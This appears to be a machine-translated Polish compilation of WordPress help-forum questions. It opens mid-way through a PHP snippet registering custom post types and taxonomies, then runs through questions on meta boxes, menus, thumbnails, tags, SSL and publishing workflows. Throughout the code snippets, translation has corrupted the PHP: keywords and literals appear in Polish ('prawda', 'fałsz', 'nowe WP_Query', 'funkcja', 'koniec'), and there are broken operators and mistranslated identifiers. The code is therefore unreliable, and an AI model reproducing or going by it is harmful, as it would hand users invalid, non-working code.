nadrzędna:', 'guerilla' ), 'edit_item' => __( 'Edytuj kategorię', 'guerilla' ), 'update_item' => __( 'Aktualizuj kategorię', 'guerilla' ), 'add_new_item' => __( 'Dodaj Nową Kategorię', 'guerilla' ), 'new_item_name' => __( 'Nowa Nazwa Kategorii', 'guerilla' ), 'menu_name' => __( 'Kategorie', 'guerilla' ) ); register_taxonomy( 'faq_category', array( 'faq' ), array( 'hierarchical' => true, 'labels' => $labels, 'show_ui' => true, 'public' => true, 'query_var' => true , 'rewrite' => array( 'slug' => 'faq_category' ))); } add_action( 'init', 'faq_taksonomia' ); /* Baza wiedzy*/ add_action( 'init', 'KnowledgeBase_post_type' ); if ( ! function_exists( 'KnowledgeBase_post_type' ) ) { function KnowledgeBase_post_type() { register_post_type( 'KnowledgeBase', array( 'description' => __( 'KnowledgeBase Articles', 'guerilla' ), 'labels' => array( 'name ' => __( 'Baza Wiedzy', 'guerilla' ), 'singular_name' => __( 'Baza Wiedzy', 'guerilla' ), 'add_new' => __('Dodaj nowy', 'guerilla'), 'add_new_item' => __('Dodaj nowe artykuły w bazie wiedzy', 'guerilla'), 'edit_item' => __('Edytuj artykuły w bazie wiedzy', 'guerilla'), 'new_item' => __('Nowe artykuły w bazie wiedzy', 'guerilla' ), 'view_item' => __('Wyświetl artykuły w bazie wiedzy', 'guerilla'), 'search_items' => __('Przeszukaj artykuły w bazie wiedzy', 'guerilla'), 'not_found' => __('Nie znaleziono artykułów w bazie wiedzy ', 'partyzant'), 'not_found_in_trash' => __('Nie znaleziono artykułów bazy wiedzy w koszu', 'guerilla') ), 'public' => true, 'menu_position' => 5, 'rewrite' => array('slug' => 'KnowledgeBase '), 'supports' => array( 'title', 'editor'), 'public' => true, 'show_ui' => true, 'publicly_queryable' => true, 'exclude_from_search' => false ) ); } } function KnowledgeBase_taxonomy() { $labels = array('name' => __( 'Categories', 'guerilla' ), 'singular_name' => __( 'Category', 'guerilla' ), 'search_items' => __ ( 'Kategorie wyszukiwania', 'guerilla' ), 'all_items' => __( 'Wszystkie kategorie', 'guerilla' ), 'parent_item' => __('Kategoria nadrzędna', 'guerilla'), 'parent_item_colon' => __( 'Kategoria nadrzędna:', 'guerilla' ), 'edit_item' => __( 'Edytuj kategorię', 'guerilla' ), 'update_item' => __( 'Aktualizuj kategorię', 'guerilla' ), 'add_new_item' => __( 'Dodaj Nową Kategorię', 'guerilla' ), 'new_item_name' => __( 'Nowa Nazwa Kategorii', 'guerilla' ), 'menu_name' => __( 'Kategorie', 'guerilla' ) ); register_taxonomy( 'KnowledgeBase_category', array( 'KnowledgeBase' ), array( 'hierarchical' => true, 'labels' => $labels, 'show_ui' => true, 'public' => true, 'query_var' => true , 'rewrite' => array( 'slug' => 'KnowledgeBase_category' ))); } add_action( 'init', 'KnowledgeBase_taksonomia' ); /* Artykuły */ add_action( 'init', 'Articles_post_type' ); if ( ! function_exists( 'Articles_post_type' ) ) { function Articles_post_type() { //Rejestracja FAQ Typ posta register_post_type( 'Artykuły', array( 'description' => __( 'Artykuły', 'guerilla' ), 'labels' = > array( 'name' => __( 'Artykuły', 'guerilla' ), 'singular_name' => __( 'Artykuły', 'guerilla' ), 'add_new' => __('Dodaj nowy', 'guerilla' ), 'add_new_item' => __('Dodaj nowe artykuły', 'guerilla'), 'edit_item' => __('Edytuj artykuły', 'guerilla'), 'new_item' => __('Nowe artykuły', ' guerilla'), 'view_item' => __('Wyświetl artykuły', 'guerilla'), 'search_items' => __('Wyszukaj artykuły', 'guerilla'), 'not_found' => __('Nie znaleziono artykułów' , 'guerilla'), 'not_found_in_trash' => __('Nie znaleziono artykułów w koszu', 'guerilla') ), 'public' => true, 'menu_position' => 6, 'rewrite' => array('slug' => 'Artykuły'), 'supports' => array( 'title', 'editor'), ' public' => prawda, 'show_ui' => prawda, 'publicly_queryable' => prawda, 'exclude_from_search' => fałsz ) ); } } function Articles_taxonomy() { $labels = array('name' => __( 'Categories', 'guerilla' ), 'singular_name' => __( 'Category', 'guerilla' ), 'search_items' => __ ( 'Kategorie wyszukiwania', 'guerilla' ), 'all_items' => __( 'Wszystkie kategorie', 'guerilla' ), 'parent_item' => __('Kategoria nadrzędna', 'guerilla'), 'parent_item_colon' => __( 'Kategoria nadrzędna:', 'guerilla' ), 'edit_item' => __( 'Edytuj kategorię', 'guerilla' ), 'update_item' => __( 'Aktualizuj kategorię', 'guerilla' ), 'add_new_item' => __( 'Dodaj Nową Kategorię', 'guerilla' ), 'new_item_name' => __( 'Nowa Nazwa Kategorii', 'guerilla' ), 'menu_name' => __( 'Kategorie', 'guerilla' ) ); register_taxonomy( 'Article_category', array( 'Artykuły' ), array( 'hierarchical' => true, 'labels' => $labels, 'show_ui' => true, 'public' => true, 'query_var' => true , 'rewrite' => array( 'slug' => 'Kategoria_artykułu' ))); } add_action( 'init', 'Artykuły_taksonomia' );


title: Kiedy powinienem używać obu funkcji dla wtyczek?

text: Jestem ciekaw, ponieważ istnieją trzy funkcje do ładowania plików we wtyczkach: `plugin_dir_path()` i `plugins_url()`, wraz z `plugin_dir_url()` Jako programista wtyczek, którego użyłbyś do ładowania plików php? główny przykład pokazuje: `plugin_dir_path()` - ale jeśli ktoś miałby napisać funkcję autoloadera, której funkcji byś użył?


title: skalowalność tagów

text: Widziałem post na Wordpress, w którym wspominają, że obsługują nieograniczoną liczbę „tagów” (w przeciwieństwie do kategorii). Ponieważ php napędza Wordpress, czy mógłbyś wyjaśnić, jak/dlaczego mogą tworzyć takie oświadczenie? Załóżmy, że tworzę witrynę Wordpress z tysiącami postów i powiedzmy 100 000 tagów. Czy możesz wyjaśnić w terminach php/mysql, dlaczego pobieranie postów dla tagu w witrynie hostingu współdzielonego (hostgator) może działać? Dodatkowe punkty, jeśli możesz wyjaśnić, dlaczego to nie działa w kategoriach Wordpress Edytuj: Oto artykuł pomocy na wordpress.com - http://en.support.wordpress.com/posts/categories-vs-tags/ i oświadczenie : > Czy istnieje limit liczby tagów, które mogę mieć? Tak, niebo. Innymi słowy, nie. Edycja 2: Czego naprawdę szukam, jeśli jakiś wgląd w proces serwera php/sql, który może umożliwić skalowalność lub nie. Nie szukam używania sprzętu do skalowania systemu ani rozwiązań takich jak klastrowanie lub ulepszanie bazy danych. Interesują mnie takie rzeczy, jak: „zapytanie w tabeli z wpisami 100 tys.


title: Jak mogę zezwolić, aby funkcja ochrony hasłem pozwoliła odwiedzającym w ogóle wprowadzić dowolną liczbę?

text: Jestem dystrybutorem piwa i chcę, aby odwiedzający witrynę wpisali numer licencji na niektórych stronach, ale nie ma możliwości, abym poznał wszystkie licencje w stanie. Obecnie używam domyślnej funkcji ochrony hasłem Wordpress w sekcji „Publikuj”. Czy istnieje plik php, który mogę zmienić, w którym zamiast hasła jest konkretną liczbą, mogę powiedzieć, aby zezwolił na dowolną liczbę losową? A jakiego kodu bym potrzebował? Nie znam dużo php. A może istnieje wtyczka, która to zrobi, ale nie mogłem znaleźć żadnej po dłuższym wyszukiwaniu. Bardzo ci dziękuje za pomoc.


title: Zmiana daty publikacji nie aktualizuje zamówienia pocztowego

text: Mam mnóstwo postów, które wyświetlają się w porządku malejącym według daty na mojej stronie głównej. Chciałem zmienić ich kolejność, więc na niektórych zmodyfikowałem datę publikacji. Jednak moja kolejność postów na stronie głównej wydaje się być taka sama. Czy nie powinien zaktualizować zamówienia, ponieważ zmieniłem daty publikacji?


title: dodanie identyfikatora do_post_thumbnail

text:
Próbuję użyć funkcji „obrazu funkcji” w Wordpress, aby utworzyć tło pełnoekranowe, które zmienia rozmiar, aby dopasować się do okna przeglądarki za pomocą jQuery. Bit, na którym utknąłem, to dodanie niestandardowego identyfikatora (#bgimg) do wygenerowanego kodu przez to:
<?php the_post_thumbnail (array(1024,768));?>
 Wygenerowany obraz musi mieć w sobie określony znacznik id, np....  Aby wtyczka jQuery mogła się do niej podpiąć i przeskalować do okna przeglądarki. Wiem, że jQuery działa (tak jak używałem go w innych projektach) Jakieś sugestie? Alex


title: Jak wymusić SSL dla wszystkich żądań?

text: Czy istnieje sposób na wymuszenie SSL dla wszystkich żądań? Podobnie jak opcja użycia admin ssl, ale dla wszystkich żądań, w tym tych, które nie są zalogowane.


title: Dwa arkusze stylów działające na jeden element

text: Próbuję stylizować jeden element za pomocą `max-width` i miałem problemy. Odkryłem, że arkusz stylów motywu potomnego był jednocześnie rozszerzany o oryginalny arkusz stylów o `szerokość`. ![tutaj podaj opis obrazka](http://i.stack.imgur.com/JFric.png) Co daje? Mógłbym wejść i usunąć linię z motywu nadrzędnego, ale martwię się o odporność na przyszłość?!?


title: Importuj fikcyjną zawartość i miniatury postów

text: Konfiguruję małą fikcyjną wtyczkę treści. To, co chciałbym zrobić, to zaimportować kilka postów za pomocą `wp_insert_post`. Następnie chciałbym zaimportować kilka obrazów za pomocą `wp_insert_attachment`, a następnie ustawić te zaimportowane obrazy jako miniatury postów, które zostały przesłane. Mam rozpracowane pierwsze dwa kroki, to z trzecią logiką mam problem. Mam cały kod wklejony tutaj: http://pastebin.com/Gxkhhqga, ale głównym celem jest utworzenie tablicy postów i wprowadzenie ich za pomocą foreach ($add_posts_array jako $post){ wp_insert_post( $post ); }; a następnie wprowadź obrazy z foreach ( $image_url as $image_url ) { $attach_id = wp_insert_attachment( $attachment, $file, $post_id ); $attach_data = wp_generate_attachment_metadata ($attach_id, $file); wp_update_attachment_metadata ($attach_id, $attach_data); }; Mam problem z owinięciem głowy wokół tego, jak mogę utworzyć pętlę foreach, która pobierze każdy wstawiony obraz i dołączy go do każdego utworzonego posta. Czy ktoś myśli, że ma rozwiązanie? Mam nadzieję, że mówię jasno, chętnie wyjaśnię.


title: Używanie schematu z `the_excerpt`

text: Obecnie rozwijam witrynę WordPress i chcę korzystać ze schematu, do tej pory odnosiłem sukcesy, ale teraz trafiłem na kamienną ścianę. Chcę użyć: `itemprop="description"` do `<p>`the_exerpt`</p>`. Ponieważ udało mi się łatwo ustawić itemprop na `the_post_thumbnail` używając: `<?php the_post_thumbnail('post-thumbnail',array('itemprop'=>'image')); ?>` Założyłem, że będzie to łatwe zadanie, ale okazuje się, że jest to nieco bardziej skomplikowane w przypadku znacznika exerpt. Próbowałem następujących rzeczy bez powodzenia: 1. `<?php the_excerpt('wyciąg',array('itemprop'=>'opis')); ?>` 2. `<?php the_excerpt('the_excerpt',array('itemprop'=>'description')); ?>` Obecnie mój fragment w `functions.php` wygląda następująco: function new_excerpt_more($more) { global $post; return '...ID) . '" itemprop="url">Kontynuuj czytanie'; } add_filter('excerpt_more', 'new_excerpt_more');


title: Dodaj niestandardowe obiekty/elementy do Wordpress

text: (Mam pewne doświadczenie w tworzeniu motywów Wordpress, ale nie mam doświadczenia w rozszerzaniu funkcjonalności Wordpress. Jestem pewien, że to bardzo częste pytanie, ale nie wiem, jak szukać odpowiedzi. Jedyne, co udało mi się znaleźć, to jak stworzyć niestandardowe elementy menu). wygląda to tak: ![tutaj podaj opis obrazu](http://i.stack.imgur.com/glvqv.png) Dla każdego typu obiektu chcę określić, jakie mają właściwości (tytuł, nazwa, opis, notatki, obraz 1, obraz 2). **Jak mogę to zrobić? Jakich słów kluczowych powinienem szukać?**


title: Możliwy hack menu?

text: To najbardziej szalone problemy z WP, jakie kiedykolwiek miałem... więc główna nawigacja na mojej stronie głównej wygląda tak...."Strona główna" "oficjalna grafika" "moja grafika" "o" "linki" "kontakt", ale kiedy kliknę na każdej innej stronie moja „oficjalna grafika” zamienia się w „niestandardową grafikę”. Więc to jest dziwne... co bardziej szalone, ta strona została całkowicie usunięta z mojego backendu, nie istnieje. Dezaktywowałem wszystkie wtyczki, ponownie zainstalowałem pliki motywów i pliki wp, ale nadal problem .... każda pomoc tutaj byłaby niesamowita. http://www.arrangedrecords.com przy użyciu najnowszej wersji WP.


title: Zamów posty z niestandardową tablicą taksonomii

text:
Staram się, aby moja pętla przechodziła przez posty związane z tymi terminami. Obecnie nic nie jest wyprowadzane. <?php $args = array( 'post_type' => 'staff', 'posts_per_page' => '-1', 'tax_query' => array( array( 'taxonomy' => 'personel', 'field' => 'slug', 'terms' => array( 'edytor-naczelny', 'edytor-zarządzający', 'edytor-fikcji', 'edytor-poezji', 'edytor-literatury faktu', 'kierownik-produkcji' ) ) ) ); $my_query = nowe WP_Query( $args ); if ($my_query->have_posts()) : while ($my_query->have_posts()) : $my_query->the_post(); ?>

<?php the_field('staff_title'); ?>

<?php the_field('nazwa_pracownika'); ?>

 <img class="column-nest" src="<?php the_field(' staff_member_photo'); ?>" alt="zdjęcie <?php the_field('person_member_name'); ?>" />

 <!- - zapętl cztery kolumny --> <?php the_content(); ?> <?php koniec; endif; ?>


title: Zmień adres URL Wordpress w pliku sql za pomocą Terminala

text: Mam plik bazy danych o wielkości 40 MB, który wyeksportowałem ze starego hosta i muszę go zaimportować do nowego hosta w nowej domenie. Zwykle otwieram bazę danych w moim edytorze kodu i znajduję-zamień, ale ponieważ ten plik jest tak duży, blokuje mój edytor. Czy można to zrobić za pomocą Terminala / wiersza poleceń? Widziałem coś o używaniu `sed` podczas wyszukiwania, ale nie mogę zrozumieć, jak to działa. Czy istnieje proste polecenie do tego, które już istnieje? Próbowałem tego, ale to nie działa: sed's/http:\/\/www.domain.com/http:\/\/www.newdomain.com/g' mydatabase.sql Dzięki za wskazówki. Osu


title: Jak wyświetlić kategorie/tagi jako listę w metatagach

text: Zastanawiałem się, czy jest jakiś sposób, aby wyświetlić wszystkie tagi i kategorie postów w nagłówku tego posta. Chcę wyświetlić wszystkie tagi/kategorie za pomocą wtyczki jako listę w meta, podobnie do tego: <meta name="tags" content="website" /> <meta name="tags" content="wordpress" /> <meta name="tags" content="blogger" /> <meta name="tags" content="blog" /> Niezupełnie powyższe metatagi, ale coś podobnego. Dziękuję za pomoc.


title: Widżet znika w IE

text: Debuguję witrynę w IE, a obszar widżetów znika. http://pcdconsultancy.co.uk/ Jakieś pomysły? Nie mam żadnej przejrzystości ani nic w tej sprawie.


title: wp_nav_menu (menu pomocnicze) nie dodaje aktualnych klas

text: Szukałem wszędzie, ale nie mogę znaleźć rozwiązania. Moje drugie menu nie dodaje żadnych bieżących klas do znaczników * podczas renderowania. Dodałem to menu w moim pliku functions.php function register_menus() { register_nav_menus( array( 'second-menu' => __( 'Drugie menu' ) ) ); } Następnie stworzyłem menu w wordpressie z linkami, które chcę pokazać w moim drugim menu. Następnie dodałem menu z funkcją wp_nav_menu w pliku .php, w którym chcę, aby menu wyświetlało się: <?php wp_nav_menu( array( 'theme_location' => 'second-menu' ) ); ?> Jak na razie wszystko działa. Wyświetla się menu z linkami, które chcę pokazać. Wszystkie linki działają. Mój problem polega na tym, że „bieżące” klasy, które WP zwykle dodaje do menu, nie są dodawane do tego menu. Spodziewałem się, że klasy current-menu-item lub current-page-item będą miały znacznik *, ale ich tam nie ma. Jedyne klasy, które WP dodaje do tagu * to: * menu-item * menu-item-type-post_type * menu-item-object-page * menu-item-[number] Dzięki za pomoc, Angelo


title: get_terms vs. get_categories: czy to ma znaczenie?

text: Jestem całkiem nowy w wordpressie i każdego dnia natrafiam na nowe rzeczy - jeden był dzisiaj, kiedy natknąłem się na `get_terms` i zauważyłem, że jest to w zasadzie to samo co `get_category`. Masz jakiś szczególny powód, aby użyć jednego lub drugiego? Czy jest coś, czego mi brakuje?


title: Nie wiem, dlaczego moje niestandardowe pole meta postu nie jest zapisywane

text: Mam problem z zapisaniem niestandardowego pola meta postu i nie jestem do końca pewien, dlaczego. Śledziłem samouczek znajdujący się na http://blog.teamtreehouse.com/create-your-first-wordpress-custom-post-type i miałem dość duże trudności z odkodowaniem eksplozji znaków specjalnych, która miała miejsce w tym poście. .. Każda pomoc jest bardzo ceniona. add_action("admin_init", "admin_init"); function admin_init(){ add_meta_box("miejsce pracy", "Lokalizacja pracy", "lokalizacja_oddzwanianie", "praca_lub_staż", "strona", "domyślnie"); add_meta_box("start_date", "Data rozpoczęcia", "start_callback", "job_or_innship", "side", "default"); } funkcja location_callback(){ global $post; $niestandardowe = get_post_custom($post_ID); $location_callback = $custom["location_callback"]; ?> Lokalizacja pracy: <input name="year_completed" value="<?php echo $location_callback; ?>"> <?php } function start_callback() { global $post; $niestandardowe = get_post_custom($post_ID); $start_callback = $custom["start_callback"][0]; ?> Data rozpoczęcia: <input name="start_callback" value="<?php echo $start_callback; ?>"> <?php } add_action('save_post', 'save_details'); funkcja save_details(){ global $post; update_post_meta($post_ID, "location_callback", $_POST["location_callback"]); update_post_meta($post_ID, "start_callback", $_POST["start_callback"]); }


title: Przekieruj użytkownika, jeśli osoba odsyłająca nie jest związana z PayPal

text: Stworzyłem stronę: `http://mypage.com/paypal` z niestandardowym szablonem, który zawiera kod do pobrania odpowiedzi ipn z paypal itp. Teraz muszę przekierować użytkowników przypadkowo lub w celu uzyskania dostępu `http: //mypage.com/paypal` Chcę zezwolić na to tylko wtedy, gdy użytkownik jest przekierowywany z adresu URL paypal. np. jeśli zawiera `http://paypal.com`lub `https://paypal.com` to jest ok, ale wszystkie inne przekierowują dostęp do strony głównej WP. Jak to zrobić?


title: Dane pola niestandardowego nie są zapisywane

text:
Mam tylko ten kod, który znajduje się w `functions.php`. Widzę pole na stronie administratora, ale dane się nie zapisują. add_action('add_meta_boxes', 'home_page_template_meta_box'); function home_page_template_meta_box(){ add_meta_box( 'home_page_template_options', __('Opcje szablonu strony głównej'), 'home_page_template_options', 'strona' ); } function home_page_template_options(){ //Moje pola niestandardowe $right_side_box_1 = esc_html( get_post_meta( $post->ID, 'Right Side Box 1', true ) ); ?>

 Pole po prawej stronie 1	 <input type="text" size="80" name="right_side_box_1" value=" <?php echo $right_side_box_1; ?>"/>

 <?php }


title: Jakie są najlepsze praktyki dotyczące utrzymywania i wdrażania kilku motywów nadrzędnych?

text: Próbowałem zlecić freelancerowi wykonanie niestandardowej strony internetowej i natrafiłem na przeszkodę, gdy powiedziałem, że chcę mieć motyw nadrzędny. Freelancer zdecydowanie wolał stworzyć motyw dziecięcy na podstawie własnego, darmowego motywu, który często aktualizował. Justin Tadlock świetnie napisał o Frameworkach? Motywy nadrzędne, podrzędne i wnuki? i zwięźle wyjaśnia problem ze sprzedażą motywów potomnych: > Kiedy programista motywu tworzy motyw potomny, sprawy stają się problematyczne > ponieważ motyw potomny może w końcu wymagać aktualizacji. Jeśli jesteś programistą motywów > i budujesz motyw potomny z plikiem funkcji o wielkości 20 kb i pięcioma > lub sześcioma niestandardowymi szablonami, mogę cię zapewnić, że robisz to źle. Musiałem nawet to sobie powiedzieć. Jestem przekonany, że nie byłoby to problemem, gdyby programista miał pewne doświadczenie z typowymi praktykami utrzymania wielu motywów i wdrażania motywów WordPress. Wydaje się, że dosłownie setki sklepów z motywami WordPress nie mają problemu z utrzymaniem dużej liczby motywów nadrzędnych. Jaki jest ich specjalny sos?


title: Wiele polecanych miniatur obrazów dla typów postów (wtyczka Multiple Post Thumbnails)

text:
Znalazłem wtyczkę o nazwie Multiple Post Thumbnails i postępowałem zgodnie z instrukcjami, aby ją skonfigurować. Wszystko wyświetla się poprawnie w panelu administracyjnym (tj. pokazuje dwie sekcje do przesłania dwóch oddzielnych miniatur), ale po ustawieniu dwóch miniatur dla każdego postu i wyświetleniu strony, na której są wyświetlane te posty, pojawia się tylko pierwszy post, dla którego ustawiłem miniatury. To jest kod, którego użyłem w functions.php mojego motywu: $thumb = new MultiPostThumbnails( array( 'label' => 'Większy obraz', 'id' => 'image2', 'post_type' => 'projekty')) ; A oto moja strona Projekty, która jest stroną, na której wyświetlane są posty:

 <?php $c=0; $i=1; $temp = $wp_query; $wp_query = null; $wp_query = nowe WP_Query(); $wp_query->query('post_type=projekty' . '&paged=' . $paged . '&posts_per_page=6'); while ( $wp_query->have_posts()): $wp_query->the_post(); $c++; ?> <article class="post<?php if($i%3 == 0) { echo 'prawo'; }; $i++; ?>" id="post-<?php the_ID(); ?>" >
 <a href="<?php the_permalink() ?>" rel="zakładka" title="Stały link do <?php the_title_attribute(); ?>"> <?php jeśli ( class_exists('MultiPostThumbnails') && MultiPostThumbnails::has_post_thumbnail('projects', 'secondary-image')) : MultiPostThumbnails::the_post_thumbnail('projects', 'secondary-image'); endif; ?>

<a href="<?php the_permalink() ?>" rel="zakładka" title="Stały link do <?php the_title_attribute (); ?>"><?php the_title(); ?>
 <time class="post-data" datetime="<?php the_time('c'); ?>"><?php the_time('F j, Y'); ?></time>

 <?php endwhile; wp_pagenavi(); $wp_query = null; $wp_query = $temp; wp_reset_query(); ?> <?php if( $c < 6 ) : for ($atrapa= $c; $atrapa < 6; $atrapa++) : ?> <article class="post<?php if($i%3 == 0 ) { echo 'right'; }; $i++; ?>" id="post-<?php the_ID(); ?>"> <img src="<?php bloginfo('template_url'); ?>/images /dummy-post.gif" alt="Wpis już wkrótce!" />
 <?php endfor;?> <?php endif;?>

 <img src="<?php bloginfo('template_url') ?>/images /interactive-map.jpg" alt="Interaktywna mapa" />

 Oto zrzut ekranu przedstawiający wygląd strony. Zauważ, że tylko „Projekt 6” ma pokazaną miniaturę (Projekt 6 był pierwszym postem, do którego przesłałem drugą miniaturę), gdy przesłałem drugie miniatury dla każdego z tych postów. ![Strona projektów](http://i.stack.imgur.com/vA8TB.gif) Czy ktoś ma doświadczenie z tą wtyczką? Czy ktoś zasugerowałby też alternatywny sposób bez wtyczki, aby osiągnąć to samo? Zasadniczo chcę tylko móc przesłać dwie oddzielne miniatury dla każdego postu w typie postu Projekty, aby jedna wyświetlała się na stronie głównej, a druga (większa) wyświetlała się na stronie Projekty. Idealną konfiguracją byłoby posiadanie tylko jednego dużego obrazu, który przesyłam, który zostanie wyświetlony na stronie Projekty i zostanie automatycznie przycięty do mniejszej miniatury, którą mogę następnie użyć na stronie głównej. W każdym razie wszelkie porady/pomoc byłyby bardzo mile widziane. Dziękuję za przeczytanie tego długiego posta!


title: Zmodyfikuj wygląd motywów >> Ekran administratora nagłówka z wtyczki

text: Próbowałem zbudować wtyczkę (moją pierwszą), która dodaje kilka funkcji do użytku z ekranem administratora Custom Header. Chciałbym, aby moja wtyczka dodała link do kotwicy do ekranu administracyjnego Wygląd >> Nagłówek i aby link uruchamiał funkcję w moim głównym pliku wtyczki: ale mam wiele problemów z ustaleniem, jak manipulować niestandardowym ekran administratora nagłówka (dobrze, każdy ekran administratora). Na razie używam nowej metody add_theme_support('custom-header') dodawania niestandardowej funkcji nagłówka dla wordpress 3.4+: i _MYŚLĘ_, że muszę zbudować funkcję (która dodaje link do kotwicy) i wyzwalać ją za pomocą Argument „admin-head-callback” w mojej metodzie add_theme_support. Zakładając, że tyle jest słusznych (?), czy ktoś może podać przykład, jak dodać html do istniejącego ekranu administratora, z wtyczki?


title: Pokazać wyróżniony obraz obok zwiastunów w Genesis Framework?

text: Chcę, aby obok moich postów znajdowała się miniatura polecanego obrazu. Jak to zrobić?


title: Linki względne WordPress dla zwykłych linków innych niż obrazki

text: Czy istnieje sposób na zrobienie normalnych linków w WordPressie (nie linków źródłowych obrazu) w "względny" sposób? Robię niestandardową witrynę w WP i niektóre części witryny, na przykład link do obrazu, który po kliknięciu prowadzi do określonej dynamicznie budowanej strony WordPress, zawsze łączę je absolutnie. Na przykład, jeśli **strona wordpress w witrynie**, do której chcę uzyskać link, to **page_id=39**, a witryna to `XYZ.com`, to mój link do obrazu będzie miał postać ****etc... Problem z polega to na tym, że kiedy przenoszę witrynę z serwera testowego na serwer na żywo, muszę ręcznie wejść ponownie i ponownie wykonać WSZYSTKIE ręczne linki. W przeciwieństwie do linków względnych do obrazu, które wyglądają mniej więcej tak: `<img src="<?php bloginfo('template_directory');?>/image here"/>` gdzie względnie szuka fizycznego obrazu gdzieś w witrynie, strony WordPress nie istnieją w tradycyjnym sensie rzeczywistej strony.php itp., więc jak mogę to obejść, czy jest jakaś funkcja, którą mogę zastosować, która sprawi, że użyję względnych linków / konstruktora ścieżek do rzeczywistych dynamicznych stron wordpress, abym tego nie robił musisz ręcznie/absolutnie coś połączyć? Z góry dziękuję.


title: Jak dodać licznik postów do listy terminów niestandardowych taksonomii?

text:
Używam poniższego kodu, aby wyświetlić listę (przyciski radiowe) terminów, które są obecnie używane przez istniejące posty typu niestandardowego posta: $args = array( 'taxonomy' => 'typ', 'post_type' => 'instytucje', ); $terms = get_terms('typ', $args); $liczba = ilość($warunki); $i=0; if ($count > 0) { $cape_list = ''; foreach ($warunki jako $warunki) { $i++; $term_list .= '<input type="radio" name="typ" value="' . $term->slug . '"> ' . $term->nazwa . ''; if ($count != $i) $term_list .= '
'; else $term_list .= '
'; } echo '<nazwa formularza="filtruj" akcja="" metoda="GET">'; echo $term_list; echo '<button OnClick="document.filterby.submit();">Szukaj</button>'; } Lista służy jako formularz do filtrowania postów według terminów. Moje pytanie brzmi - jak mogę dodać licznik pokazujący liczbę postów obok każdego terminu na liście? [przycisk radiowy] [nazwa terminu] [liczba postów z terminem] Oto strona, nad którą pracuję: http://www.marketingpolityczny.org/baza-wiedzy/instytucje/


title: Co mogę zrobić, aby osiągnąć ten efekt: WIP -> Portfolio

text: Załóżmy, że w przypadku projektów będę miał kilka postów WIP (kategorii). Następnie, gdy to się skończy, stworzę dla niego post w Portfolio. Chcę połączyć ten post Portfolio z WIP (podobnie do powiązanych postów). Wtedy też będę chciał, aby posty WIP projektu zostały wykluczone z mojej głównej listy WIP. Jak mogę osiągnąć ten efekt? Na stronie WIP chcę wyświetlić listę typu * Projekt 1 * Projekt 2 * Projekt 3 Pokazuje tylko wszystkie niekompletne projekty. Być może mogę też mieć listę „wycofaną”, ale osobną. Każde łącze prowadzi do strony zawierającej wszystkie (WIP) posty na blogu projektu. Jak mogę to osiągnąć? Myślę, że WIP będzie kategorią, czy projekt umieszczę jako tag? Chciałbym też powiązać każdy projekt z miniaturą i opisem. Ponieważ jestem programistą, mogę coś zakodować, ale WordPress jest dla mnie nowy, więc będę potrzebować wskazówek.


title: Przepływ publikacji

text: Zamierzam pełnić dwie następujące role: 1. Redaktor 2. Wydawca i następujące różne stany, w których może znajdować się post: 1. Wersja robocza 2. Gotowa do publikacji 3. Opublikowana Przepływ pracy, którego szukam, to: 1. ** redaktor** pisze post na blogu. To jest **projekt**. 2. Po zakończeniu redakcja zaznacza, że jest **gotowy do publikacji**. Od tego momentu redaktor **traci możliwość edytowania posta na blogu**. 3. **Wydawca** recenzuje, edytuje i **publikuje post na blogu**. Czy to możliwe z Wordpressem? Jeśli nie, czy istnieje najnowocześniejsza wtyczka do takiego przepływu pracy? Wydaje się, że to oczywisty przepływ pracy.